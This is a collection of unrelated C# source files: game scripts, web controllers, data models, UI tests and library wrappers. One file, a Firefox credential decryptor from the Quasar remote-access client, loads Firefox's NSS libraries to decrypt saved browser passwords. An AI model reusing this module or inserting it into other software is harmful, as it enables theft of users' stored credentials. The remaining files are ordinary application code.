_wolfCounter = new UIText("0", new Vector2(100.0f, 50.0f), "Text", "Text"); counter.Add(image); counter.Add(_wolfCounter); header2.Add(counter); var ui = new UIMultiElementsContainer(Vector2.Zero, new Vector2(screenWidth, screenHeight)); ui.OnResized += () => header1.Size = ui.Size; ui.OnResized += () => header2.Size = ui.Size; ui.Add(header1); ui.Add(header2); return ui; } private void UpdateArrowsCountUI(ArrowType type, int count) { switch (type) { case ArrowType.Standart: _arrowStandartText.Text = count.ToString(); break; case ArrowType.Poison: _arrowPoisonText.Text = count.ToString(); break; } } private void UpdateWolfCount() { _currentEnemyCount--; _wolfCounter.Text = _currentEnemyCount.ToString(); if(_currentEnemyCount <= 0) { var scene = (MenuScene)PreviousScene; scene.UpdateMenu(false); Game.ChangeScene(scene); } } #endregion } }
#if UNITY_2019_1_OR_NEWER using UnityEditor; using UnityAtoms.Editor; namespace UnityAtoms.FSM.Editor { /// <summary> /// Event property drawer of type `FSMTransitionData`. Inherits from `AtomDrawer&lt;FSMTransitionDataEvent&gt;`. Only availble in `UNITY_2019_1_OR_NEWER`. /// </summary> [CustomPropertyDrawer(typeof(FSMTransitionDataEvent))] public class FSMTransitionDataEventDrawer : AtomDrawer<FSMTransitionDataEvent> { } } #endif
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices.WindowsRuntime; using Windows.Foundation; using Windows.Foundation.Collections; using Windows.UI.Xaml; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Controls.Primitives; using Windows.UI.Xaml.Data; using Windows.UI.Xaml.Input; using Windows.UI.Xaml.Media; using Windows.UI.Xaml.Navigation; using System.Collections.ObjectModel; using Microsoft.Toolkit.Uwp.UI.Controls; using VéloMax.bdd; using VéloMax.pages; namespace VéloMax.pages { public sealed partial class AjouterFournisseurUI : Page { public AjouterFournisseurUI() { this.InitializeComponent(); } public void AjoutFournisseur(object sender, RoutedEventArgs e) { try { int s = int.Parse(siret.Text); int cp = int.Parse(codePA.Text); int r = int.Parse(reactivite.Text); new Fournisseur(s, nomF.Text, new Adresse(rueA.Text, villeA.Text, cp, provinceA.Text), contact.Text, r); ((this.Frame.Parent as NavigationView).Content as Frame).Navigate(typeof(FournisseursUIMain)); } catch { } } } }
using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace University.UI.Areas.Admin.Models { public class GeneralFeedbackViewModel { public Decimal Id { get; set; } public string FeedbackDescription { get; set; } public Nullable<bool> IsDeleted { get; set; } public Nullable<System.DateTime> CreatedDate { get; set; } public Nullable<Decimal> CreatedBy { get; set; } public Nullable<System.DateTime> DeletedDate { get; set; } public Nullable<Decimal> DeletedBy { get; set; } public Nullable<System.DateTime> UpdatedDate { get; set; } public Nullable<Decimal> UpdatedBy { get; set; } } }
using System; using System.Web; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using Newtonsoft.Json; using Microsoft.AspNetCore.Http; namespace Thuisbegymmen.Controllers { [Route("api/[controller]")] public class SearchbarController : Controller{ private readonly Context _context; public SearchbarController(Context context){ _context = context; } [HttpGet ("GetProduct")] public IQueryable<Product> GetProduct(string productNaam) { return from p in _context.Product where p.Productnaam.Contains(productNaam) select p; } } }
using System; using System.Collections.Generic; using System.Text; using Microsoft.AspNetCore.Identity.EntityFrameworkCore; using Microsoft.EntityFrameworkCore; using VirginMediaScenario.Models; namespace VirginMediaScenario.Data { public class ApplicationDbContext : IdentityDbContext { public ApplicationDbContext(DbContextOptions<ApplicationDbContext> options) : base(options) { } public DbSet<Scenario> scenarios { get; set; } } }
using Plugin.Settings; using Plugin.Settings.Abstractions; namespace MasterDetail.Helpers { public static class Settings { private static ISettings AppSettings { get { return CrossSettings.Current; } } #region Setting Constants private const string empaque = "Empaque"; private const string empaquePass = "EmpaquePass"; private const string remember = "Remember"; private static readonly string SettingsDefault = string.Empty; private static readonly bool Settingsbool = false; #endregion public static string Empaque { get { return AppSettings.GetValueOrDefault(empaque, SettingsDefault); } set { AppSettings.AddOrUpdateValue(empaque, value); } } public static string EmpaquePass { get { return AppSettings.GetValueOrDefault(empaquePass, SettingsDefault); } set { AppSettings.AddOrUpdateValue(empaquePass, value); } } public static bool Remember { get { return AppSettings.GetValueOrDefault(remember, Settingsbool); } set { AppSettings.AddOrUpdateValue(remember, value); } } } }
using System; namespace FightGame { public class Enemy : Creature, ICloneable { private Damage _damage; public Damage damage { get { return _damage; } set { _damage = value; } } public object Clone() { Enemy enemy = (Enemy)this.MemberwiseClone(); /*enemy.Name = Name; enemy.MaximumHealthPoints = MaximumHealthPoints; enemy.HealthPoints = HealthPoints; enemy.AttackPoints = AttackPoints; enemy.DefensePoints = DefensePoints;*/ enemy._damage = _damage; return enemy; } public override string ToString() { return Name; } } }
using System.Collections; using System.Collections.Generic; using System; using System.Linq; using UnityEngine; using GoogleARCore; public class GlobalDataContainer : MonoBehaviour { public Camera FirstPersonCamera; public GameObject arObject; [SerializeField] private GameObject[] menuPanels; private States currentState = States.MainMenu; private Rooms currentRoom = Rooms.P_004; private bool isInitialized = false; public void SetCurrentState(States newState) { //Logger.log("cs: " + currentState + ", ns: " + newState); currentState = newState; //Logger.log("Changing current state to: " + currentState.ToString()); switch (newState) { case States.MainMenu: disableAllPanelsExcept(menuPanels[0]); break; case States.AboutUs: disableAllPanelsExcept(menuPanels[1]); break; case States.Tutorial: disableAllPanelsExcept(menuPanels[2]); break; case States.RoomSelection: disableAllPanelsExcept(menuPanels[3]); break; case States.PlaneDetection: disableAllPanelsExcept(menuPanels[4]); Instantiate(arObject); break; case States.PlaneConfirmation: disableAllPanelsExcept(menuPanels[5]); break; case States.MarkerPlacement: disableAllPanelsExcept(menuPanels[6]); break; case States.MarkerRotation: disableAllPanelsExcept(menuPanels[7]); break; case States.ModelPlacement: disableAllPanelsExcept(null); break; } } private void disableAllPanelsExcept(GameObject panel) { //Logger.log("List: " + panels.Count); foreach (GameObject p in menuPanels) { p.SetActive(false); } panel.SetActive(true); } public void SetCurrentRoom(Rooms room) { currentRoom = room; } public Rooms GetCurrentRoom( ) { return currentRoom; } }
using System; using MonoTouch.UIKit; namespace iPadPos { public class PrintLastInvoiceCell : ButtonCell { public PrintLastInvoiceCell () : base ("PrintLastInvoiceCell") { BackgroundColor = Color.Orange; //BackgroundColor = UIColor.FromRGB (38, 143, 130); this.TextLabel.TextColor = UIColor.White; this.TextLabel.Font = UIFont.BoldSystemFontOfSize (20); } } }
/** Copyright (c) 2020, Institut Curie, Institut Pasteur and CNRS Thomas BLanc, Mohamed El Beheiry, Jean Baptiste Masson, Bassam Hajj and Clement Caporal All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. All advertising materials mentioning features or use of this software must display the following acknowledgement: This product includes software developed by the Institut Curie, Insitut Pasteur and CNRS. 4. Neither the name of the Institut Curie, Insitut Pasteur and CNRS nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. **/ using Data; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; namespace VR_Interaction { public class HistogramPointSelector : MonoBehaviour { CloudData currcloud; public int sectionsNumber; public List<GameObject> circleList = new List<GameObject>(); public List<Vector3> circlePositionsList = new List<Vector3>(); public float radius; public float length; public List<Color> colorList; public GameObject canvasPrefab; public GameObject canvascontainer = null; public GameObject canvas; public List<GameObject> histogramBarsList = new List<GameObject>(); List<int> pointCountsbySections; public List<float> xValues; public List<int> yValues; List<int> selectedPoints = new List<int>(); List<Color> selectedPointsColors = new List<Color>(); private Queue<HistogramPointSelectionThreadHandler> SelectionThreadQueue; bool pointSelectionJobON = false; public void Awake() { if (!canvasPrefab) { canvasPrefab = VRWindowsManager.instance.VRHistogramCanvasPrefab; } colorList = new List<Color>(); colorList.Add(Color.red); colorList.Add(Color.magenta); colorList.Add(Color.blue); colorList.Add(Color.grey); colorList.Add(Color.green); colorList.Add(Color.yellow); colorList.Add(Color.cyan); SelectionThreadQueue = new Queue<HistogramPointSelectionThreadHandler>(); } public void FindPointsProto(List<GameObject> circleList, List<Vector3> circlePositionsList) { currcloud = CloudUpdater.instance.LoadCurrentStatus(); List<Vector3> CircleLocalPositionsList = new List<Vector3>(); foreach(var v in circlePositionsList) { CircleLocalPositionsList.Add(currcloud.transform.worldToLocalMatrix.MultiplyPoint3x4(v)); } HistogramPointSelectionThreadHandler ThreadHandle = new HistogramPointSelectionThreadHandler(); ThreadHandle.circlePositionsList = circlePositionsList; ThreadHandle.circleLocalPositionsList = CircleLocalPositionsList; ThreadHandle.radius = radius; ThreadHandle.colorList = colorList; ThreadHandle.currcloud = currcloud; ThreadHandle.StartThread(); SelectionThreadQueue.Enqueue(ThreadHandle); pointSelectionJobON = true; this.circleList = circleList; this.circlePositionsList = circlePositionsList; /** Mesh newmesh = currcloud.gameObject.GetComponent<MeshFilter>().mesh; newmesh.colors = colors; currcloud.gameObject.GetComponent<MeshFilter>().mesh = newmesh; CreateCanvas(pointCountsbySections); yValues = pointCountsbySections; **/ } public void CreateCanvas(List<int> yValues) { int j = 0; int max = Mathf.Max(yValues.ToArray()); if (max != 0f) { if (!canvascontainer) { canvascontainer = Instantiate(canvasPrefab) as GameObject; canvascontainer.transform.position = transform.forward + transform.up; canvas = canvascontainer.transform.GetChild(0).GetChild(0).GetChild(1).gameObject; histogramBarsList = new List<GameObject>(); } else { for(int i = 0; i < histogramBarsList.Count; i++) { Destroy(histogramBarsList[i].transform.parent.gameObject); //histogramBarsList.RemoveAt(i); } histogramBarsList.Clear(); } /** GameObject poscontainer = new GameObject(); poscontainer.AddComponent<RectTransform>(); poscontainer.GetComponent<RectTransform>().anchoredPosition = Vector2.zero; poscontainer.GetComponent<RectTransform>().anchorMin = Vector2.zero; poscontainer.GetComponent<RectTransform>().anchorMax = Vector2.zero; poscontainer.transform.SetParent(canvas.transform, false); GameObject Xtextpos = new GameObject("text", typeof(Text)); Xtextpos.transform.SetParent(poscontainer.transform, false); RectTransform xrtctpos = Xtextpos.GetComponent<RectTransform>(); xrtctpos.sizeDelta = new Vector2(70f, 25f); xrtctpos.localScale = new Vector3(0.005f, 0.005f, 1f); xrtctpos.anchoredPosition = new Vector2(0f, -0.25f); xrtctpos.anchorMin = Vector2.zero; xrtctpos.anchorMax = Vector2.zero; xrtctpos.Rotate(new Vector3(0f, 0f, 90f)); Xtextpos.GetComponent<Text>().alignment = TextAnchor.UpperCenter; Xtextpos.GetComponent<Text>().color = Color.white; Xtextpos.GetComponent<Text>().text = "positions"; Xtextpos.GetComponent<Text>().font = DesktopApplication.instance.defaultFont; histogramBarsList.Add(Xtextpos); **/ for (int i = 0; i < yValues.Count; i++) { GameObject container = new GameObject(); container.AddComponent<RectTransform>(); container.GetComponent<RectTransform>().anchoredPosition = Vector2.zero; container.GetComponent<RectTransform>().anchorMin = Vector2.zero; container.GetComponent<RectTransform>().anchorMax = Vector2.zero; container.transform.SetParent(canvas.transform, false); GameObject Xtext = new GameObject("text", typeof(Text)); Xtext.transform.SetParent(container.transform, false); RectTransform xrtct = Xtext.GetComponent<RectTransform>(); xrtct.sizeDelta = new Vector2(70f, 17f); xrtct.localScale = new Vector3(0.005f, 0.005f, 1f); xrtct.anchoredPosition = new Vector2(0f, -0.25f); xrtct.anchorMin = Vector2.zero; xrtct.anchorMax = Vector2.zero; xrtct.Rotate(new Vector3(0f, 0f, 90f)); Xtext.GetComponent<Text>().alignment = TextAnchor.UpperCenter; Xtext.GetComponent<Text>().color = Color.white; Xtext.GetComponent<Text>().text = System.Math.Round(xValues[i],1).ToString(); Xtext.GetComponent<Text>().font = DesktopApplication.instance.defaultFont; GameObject bar = new GameObject("bar", typeof(Image)); bar.transform.SetParent(container.transform, false); RectTransform rtc = bar.GetComponent<RectTransform>(); rtc.sizeDelta = new Vector2(2.85f, 1f); rtc.anchoredPosition = Vector2.zero; rtc.anchorMin = Vector2.zero; rtc.anchorMax = Vector2.zero; rtc.pivot = new Vector2(.5f, 0f); float scale = (float)yValues[i] / max; //Debug.Log("y : "+yValues[i]+"max : " + max + "Calcul : " + scale); rtc.localScale = new Vector3(1f / yValues.Count, scale, 1f); rtc.GetComponent<Image>().color = new Color(0.8f, 0.8f, 1f); ; GameObject text = new GameObject("text", typeof(Text)); text.transform.SetParent(container.transform, false); RectTransform rtct = text.GetComponent<RectTransform>(); rtct.sizeDelta = new Vector2(70f, 17f); rtct.localScale = new Vector3(0.005f, 0.005f, 1f); rtct.anchoredPosition = new Vector2(0f,1.1f); rtct.anchorMin = Vector2.zero; rtct.anchorMax = Vector2.zero; //rtct.rotation.z = 90f; rtct.Rotate(new Vector3(0f, 0f, 90f)); text.GetComponent<Text>().alignment = TextAnchor.UpperCenter; text.GetComponent<Text>().color = Color.white; text.GetComponent<Text>().text = pointCountsbySections[i].ToString(); text.GetComponent<Text>().font = DesktopApplication.instance.defaultFont; histogramBarsList.Add(bar); j++; if (j > colorList.Count - 1) { j = 0; } } } } private void OnDestroy() { Destroy(canvascontainer); } private void OnDisable() { if (canvas) { canvascontainer.SetActive(false); //CloudData data = CloudUpdater.instance.LoadCurrentStatus(); //CloudUpdater.instance.ChangeCurrentColorMap(data.globalMetaData.colormapName, data.globalMetaData.colormapReversed); } } public void DisableHistogramCanvas() { canvascontainer.SetActive(false); } public void DestroyHistogramCanvas() { Destroy(canvascontainer); } private void OnEnable() { if (canvas) { canvascontainer.SetActive(true); circlePositionsList.Clear(); foreach (GameObject go in circleList) { circlePositionsList.Add(go.transform.position); } FindPointsProto(circleList, circlePositionsList); } } private void Update() { if (pointSelectionJobON) { if(SelectionThreadQueue.Count != 0) { HistogramPointSelectionThreadHandler ThreadHandle = SelectionThreadQueue.Peek(); if (ThreadHandle.isRunning == false) { ThreadHandle = SelectionThreadQueue.Dequeue(); Mesh newmesh = currcloud.gameObject.GetComponent<MeshFilter>().mesh; newmesh.colors = ThreadHandle.colors; currcloud.gameObject.GetComponent<MeshFilter>().mesh = newmesh; pointCountsbySections = ThreadHandle.pointCountsbySections; xValues = ThreadHandle.xValues; yValues = pointCountsbySections; selectedPoints = ThreadHandle.SelectedPointsList; selectedPointsColors = ThreadHandle.SelectedPointsColorList; ThreadHandle.StopThread(); CreateCanvas(pointCountsbySections); } } else { pointSelectionJobON = false; } } } } public class HistogramPointSelectionThreadHandler : RunnableThread { public List<Vector3> circlePositionsList; public List<Vector3> circleLocalPositionsList; public float radius; public List<Color> colorList; public CloudData currcloud; public List<int> pointCountsbySections; public List<float> xValues; public Color[] colors; public List<int> SelectedPointsList; public List<Color> SelectedPointsColorList; protected override void Run() { Debug.Log("positionLIst : " + circlePositionsList.Count); Debug.Log("circleLocalPositionsList : " + circleLocalPositionsList.Count); SelectedPointsList = new List<int>(); SelectedPointsColorList = new List<Color>(); pointCountsbySections = new List<int>(); xValues = new List<float>(); int j = 0; int[] pointschecked = new int[currcloud.pointDataTable.Count]; // Used to remember which points have been checked and which haven't. for (int u = 0; u < pointschecked.Length; u++) { pointschecked[u] = 0; } colors = new Color[currcloud.pointDataTable.Count]; int counter = 0; for (int i = 0; i < circlePositionsList.Count - 1; i++) { counter = 0; Vector3 middlepoint = (circlePositionsList[i + 1] + circlePositionsList[i]) / 2; float distance = Vector3.Distance(circlePositionsList[0], middlepoint) * currcloud.globalMetaData.maxRange; xValues.Add(distance); foreach (var kvp in currcloud.pointDataTable) { if (!currcloud.pointMetaDataTable[kvp.Key].isHidden) { Vector3 circle1LocalPosition = circleLocalPositionsList[i]; Vector3 circle2LocalPosition = circleLocalPositionsList[i + 1]; float test1 = Vector3.Dot(kvp.Value.normed_position - circle1LocalPosition, circle2LocalPosition - circle1LocalPosition); float test2 = Vector3.Dot(kvp.Value.normed_position - circle2LocalPosition, circle2LocalPosition - circle1LocalPosition); if (pointschecked[kvp.Key] == 0) { if (test1 >= 0 && test2 <= 0) //find if the point is between the two circles { float test3 = Vector3.Magnitude(Vector3.Cross(kvp.Value.normed_position - circle1LocalPosition, circle2LocalPosition - circle1LocalPosition)) / Vector3.Magnitude(circle2LocalPosition - circle1LocalPosition); if (test3 <= radius) // find if the point is inside the cylinder { counter++; pointschecked[kvp.Key] = 1; SelectedPointsList.Add(kvp.Key); SelectedPointsColorList.Add(colorList[j]); } } else { } } } else { pointschecked[kvp.Key] = 1; } } //Debug.Log(i); pointCountsbySections.Add(counter); //Debug.Log("point found in section : "+(i)+" / "+pointCountsbySections[i]); //Debug.Log(radius); j++; if (j > colorList.Count - 1) { j = 0; } } isRunning = false; } } }
using Quasar.Client.Utilities; using System; using System.IO; using System.Runtime.InteropServices; using System.Text; namespace Quasar.Client.Recovery.Browsers { /// <summary> /// Provides methods to decrypt Firefox credentials. /// </summary> public class FFDecryptor : IDisposable { [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate long NssInit(string configDirectory); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate long NssShutdown(); [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int Pk11sdrDecrypt(ref TSECItem data, ref TSECItem result, int cx); private NssInit NSS_Init; private NssShutdown NSS_Shutdown; private Pk11sdrDecrypt PK11SDR_Decrypt; private IntPtr NSS3; private IntPtr Mozglue; public long Init(string configDirectory) { string mozillaPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Mozilla Firefox\"); Mozglue = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "mozglue.dll")); NSS3 = NativeMethods.LoadLibrary(Path.Combine(mozillaPath, "nss3.dll")); IntPtr initProc = NativeMethods.GetProcAddress(NSS3, "NSS_Init"); IntPtr shutdownProc = NativeMethods.GetProcAddress(NSS3, "NSS_Shutdown"); IntPtr decryptProc = NativeMethods.GetProcAddress(NSS3, "PK11SDR_Decrypt"); NSS_Init = (NssInit)Marshal.GetDelegateForFunctionPointer(initProc, typeof(NssInit)); PK11SDR_Decrypt = (Pk11sdrDecrypt)Marshal.GetDelegateForFunctionPointer(decryptProc, typeof(Pk11sdrDecrypt)); NSS_Shutdown = (NssShutdown)Marshal.GetDelegateForFunctionPointer(shutdownProc, typeof(NssShutdown)); return NSS_Init(configDirectory); } public string Decrypt(string cypherText) { IntPtr ffDataUnmanagedPointer = IntPtr.Zero; StringBuilder sb = new StringBuilder(cypherText); try { byte[] ffData = Convert.FromBase64String(cypherText); ffDataUnmanagedPointer = Marshal.AllocHGlobal(ffData.Length); Marshal.Copy(ffData, 0, ffDataUnmanagedPointer, ffData.Length); TSECItem tSecDec = new TSECItem(); TSECItem item = new TSECItem(); item.SECItemType = 0; item.SECItemData = ffDataUnmanagedPointer; item.SECItemLen = ffData.Length; if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) { if (tSecDec.SECItemLen != 0) { byte[] bvRet = new byte[tSecDec.SECItemLen]; Marshal.Copy(tSecDec.SECItemData, bvRet, 0, tSecDec.SECItemLen); return Encoding.ASCII.GetString(bvRet); } } } catch (Exception) { return null; } finally { if (ffDataUnmanagedPointer != IntPtr.Zero) { Marshal.FreeHGlobal(ffDataUnmanagedPointer); } } return null; } [StructLayout(LayoutKind.Sequential)] public struct TSECItem { public int SECItemType; public IntPtr SECItemData; public int SECItemLen; } /// <summary> /// Disposes all managed and unmanaged resources associated with this class. /// </summary> public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { NSS_Shutdown(); NativeMethods.FreeLibrary(NSS3); NativeMethods.FreeLibrary(Mozglue); } } } }
using Microsoft.VisualStudio.TestTools.UnitTesting; using WikipediaFramework; namespace WikipediaTests { [TestClass] public class HomePageLanguageTests : CommonTestMethods { [TestMethod] public void Select_English_Language() { WikipediaHomePage.SelectLanguage.English(); Assert.IsTrue(LanguageLandingPage.Language.IsEnglish(), "Language of page was not english"); } [TestMethod] public void Select_Japanese_Language() { WikipediaHomePage.SelectLanguage.Japanese(); Assert.IsTrue(LanguageLandingPage.Language.IsJapanese(), "Language of page was not japanese"); } [TestMethod] public void Select_Danish_Language() { WikipediaHomePage.SelectLanguage.Danish(); Assert.IsTrue(LanguageLandingPage.Language.IsDanish(), "Language of page was not danish"); } [TestMethod] public void Select_Spanish_Language() { WikipediaHomePage.SelectLanguage.Spanish(); Assert.IsTrue(LanguageLandingPage.Language.IsSpanish(), "Language of page was not spanish"); } [TestMethod] public void Select_Russian_Language() { WikipediaHomePage.SelectLanguage.Russian(); Assert.IsTrue(LanguageLandingPage.Language.IsRussian(), "Language of page was not russian"); } [TestMethod] public void Select_French_Language() { WikipediaHomePage.SelectLanguage.French(); Assert.IsTrue(LanguageLandingPage.Language.IsFrench(), "Language of page was not french"); } [TestMethod] public void Select_Italian_Language() { WikipediaHomePage.SelectLanguage.Italian(); Assert.IsTrue(LanguageLandingPage.Language.IsItalian(), "Language of page was not italian"); } [TestMethod] public void Select_Chinese_Language() { WikipediaHomePage.SelectLanguage.Chinese(); Assert.IsTrue(LanguageLandingPage.Language.IsChinese(), "Language of page was not chinese"); } [TestMethod] public void Select_Portugese_Language() { WikipediaHomePage.SelectLanguage.Portugese(); Assert.IsTrue(LanguageLandingPage.Language.IsPortugese(), "Language of page was not portugese"); } [TestMethod] public void Select_Polish_Language() { WikipediaHomePage.SelectLanguage.Polish(); Assert.IsTrue(LanguageLandingPage.Language.IsPolish(), "Language of page was not polish"); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Journey.WebApp.Data; using Microsoft.AspNetCore.Mvc; using Microsoft.EntityFrameworkCore; namespace Journey.WebApp.Controllers { public class TripDetailsController : Controller { private readonly JourneyDBContext _context; public TripDetailsController(JourneyDBContext context) { _context = context; } public async Task<IActionResult> Create(long? id) { if (id == null) { return NotFound(); } var tripDetails = new TripDetails(); tripDetails.TripCitiesId = (long)id; var city = await _context.TripCities.Include(tc => tc.City) .FirstOrDefaultAsync(tc => tc.Id == id); ViewBag.city = city.City.CityName; return View("Edit", tripDetails); } public async Task<IActionResult> Edit(long? id) { if (id == null) { return NotFound(); } var tripDetails = await _context.TripDetails.Include(td => td.TripCities) .ThenInclude(tc => tc.City) .FirstOrDefaultAsync(td => td.Id == id); if (tripDetails == null) { return NotFound(); } ViewBag.city = tripDetails.TripCities.City.CityName; return View(tripDetails); } [HttpPost] [ValidateAntiForgeryToken] public async Task<IActionResult> Edit(TripDetails tripDetails) { if (ModelState.IsValid) { if (tripDetails.Id == 0) { _context.Add(tripDetails); } else { _context.Update(tripDetails); } await _context.SaveChangesAsync(); return RedirectToAction("Details", "TripCities", new { id = tripDetails.TripCitiesId }); } return View(tripDetails); } public async Task<IActionResult> Delete(long? id) { if (id == null) { return NotFound(); } var tripDetails = await _context.TripDetails.Include(td => td.TripCities) .ThenInclude(tc => tc.City) .FirstOrDefaultAsync(tc => tc.Id == id); if (tripDetails == null) { return NotFound(); } ViewBag.city = tripDetails.TripCities.City.CityName; return View(tripDetails); } // POST: TravelersTrips/Delete/5 [HttpPost, ActionName("Delete")] [ValidateAntiForgeryToken] public async Task<IActionResult> DeleteConfirmed(long id) { var tripDetails = await _context.TripDetails.Include(td => td.TripCities) .ThenInclude(tc => tc.City) .FirstOrDefaultAsync(tc => tc.Id == id); _context.TripDetails.Remove(tripDetails); await _context.SaveChangesAsync(); return RedirectToAction("Details", "TripCities", new { id = tripDetails.TripCitiesId }); } } }
using System.Collections; using System.Collections.Generic; using UnityEngine; public class MobSpawner : MonoBehaviour { [SerializeField] private GameObject mobPrefab; [SerializeField] private float timerSpawn; private Transform possibleSpawns; private float nextSpawn; // Use this for initialization void Start () { possibleSpawns = GameObject.Find ("MobSpawns").transform; nextSpawn = 0.0f; } // Update is called once per frame void Update () { nextSpawn += Time.deltaTime; if (nextSpawn >= timerSpawn) { int spawnLocation = Random.Range (0, possibleSpawns.childCount); Transform spawn = possibleSpawns.GetChild (spawnLocation); Instantiate (mobPrefab, spawn.position, Quaternion.identity); nextSpawn = 0.0f; } } }
using System; using Vlc.DotNet.Core.Interops.Signatures; namespace Vlc.DotNet.Core.Interops { public sealed partial class VlcManager { public bool GetVideoLogoEnabled(VlcMediaPlayerInstance mediaPlayerInstance) { if (mediaPlayerInstance == IntPtr.Zero) throw new ArgumentException("Media player instance is not initialized."); return myLibraryLoader.GetInteropDelegate<GetVideoLogoInteger>().Invoke(mediaPlayerInstance, VideoLogoOptions.Enable) == 1; } public int GetVideoLogoX(VlcMediaPlayerInstance mediaPlayerInstance) { if (mediaPlayerInstance == IntPtr.Zero) throw new ArgumentException("Media player instance is not initialized."); return myLibraryLoader.GetInteropDelegate<GetVideoLogoInteger>().Invoke(mediaPlayerInstance, VideoLogoOptions.X); } public int GetVideoLogoY(VlcMediaPlayerInstance mediaPlayerInstance) { if (mediaPlayerInstance == IntPtr.Zero) throw new ArgumentException("Media player instance is not initialized."); return myLibraryLoader.GetInteropDelegate<GetVideoLogoInteger>().Invoke(mediaPlayerInstance, VideoLogoOptions.Y); } public int GetVideoLogoDelay(VlcMediaPlayerInstance mediaPlayerInstance) { if (mediaPlayerInstance == IntPtr.Zero) throw new ArgumentException("Media player instance is not initialized."); return myLibraryLoader.GetInteropDelegate<GetVideoLogoInteger>().Invoke(mediaPlayerInstance, VideoLogoOptions.Delay); } public int GetVideoLogoRepeat(VlcMediaPlayerInstance mediaPlayerInstance) { if (mediaPlayerInstance == IntPtr.Zero) throw new ArgumentException("Media player instance is not initialized."); return myLibraryLoader.GetInteropDelegate<GetVideoLogoInteger>().Invoke(mediaPlayerInstance, VideoLogoOptions.Repeat); } public int GetVideoLogoOpacity(VlcMediaPlayerInstance mediaPlayerInstance) { if (mediaPlayerInstance == IntPtr.Zero) throw new ArgumentException("Media player instance is not initialized."); return myLibraryLoader.GetInteropDelegate<GetVideoLogoInteger>().Invoke(mediaPlayerInstance, VideoLogoOptions.Opacity); } public int GetVideoLogoPosition(VlcMediaPlayerInstance mediaPlayerInstance) { if (mediaPlayerInstance == IntPtr.Zero) throw new ArgumentException("Media player instance is not initialized."); return myLibraryLoader.GetInteropDelegate<GetVideoLogoInteger>().Invoke(mediaPlayerInstance, VideoLogoOptions.Position); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace CarManageSystem.Model { public class IdentifyingCode { public string userName { get; set; } public int code { get; set; } public DateTime datetime { get; set; } } }
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; namespace Complex { class Complex { public double re;//переменная - действительное число public double im;//переменная - мнимое число public Complex Plus(Complex x2)// сложение комплексных чисел { Complex x3 = new Complex { re = re + x2.re, im = im + x2.im }; return x3; } public Complex Multi(Complex x2)//умножение комплексных чисел { Complex x3 = new Complex { re = re * x2.re - im * x2.im, im = re * x2.im + im * x2.re }; return x3; } public Complex Substract(Complex x2)//вычитание комплексных чисел { Complex x3 = new Complex { re = re - x2.re, im = im - x2.im }; return x3; } } }
using Cs_Notas.Dominio.Entities; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Cs_Notas.Dominio.Interfaces.Servicos { public interface IServicoAtoConjuntos: IServicoBase<AtoConjuntos> { List<AtoConjuntos> ObterAtosConjuntosPorIdAto(int idAto); List<AtoConjuntos> ObterAtosConjuntosPorIdProcuracao(int idProcurcacao); } }
using System.Web; namespace Tomelt.Time { public interface ITimeZoneSelector : IDependency { TimeZoneSelectorResult GetTimeZone(HttpContextBase context); } }
using System; namespace Sum_of_Chars { class Program { static void Main(string[] args) { int numberOfChars = int.Parse(Console.ReadLine()); int sumOfAciiCodes = 0; for (int charNumber = 0; charNumber < numberOfChars; charNumber++) { char currentChar = char.Parse(Console.ReadLine()); sumOfAciiCodes += (int)(currentChar); } Console.WriteLine($"The sum equals: {sumOfAciiCodes}"); } } }
using Assets.Scripts.Models.ResourceObjects; using Assets.Scripts.Models.ResourceObjects.CraftingResources; using System.Collections.Generic; namespace Assets.Scripts.Models.Common { public class Bed : BaseObject, IPlacement { public string PrefabTemplatePath { get; set; } public string PrefabPath { get; set; } public Bed() { LocalizationName = "bed"; Description = "bed_descr"; IconName = "bed_icon"; IsStackable = false; PrefabTemplatePath = "Prefabs/Items/PlacedItems/Bed/BedTemplate"; PrefabPath = "Prefabs/Items/PlacedItems/Bed/Bed"; CraftRecipe = new List<HolderObject>(); CraftRecipe.Add(HolderObjectFactory.GetItem(typeof(WoodResource), 50)); CraftRecipe.Add(HolderObjectFactory.GetItem(typeof(Metal), 100)); CraftRecipe.Add(HolderObjectFactory.GetItem(typeof(Fur), 10)); } } }
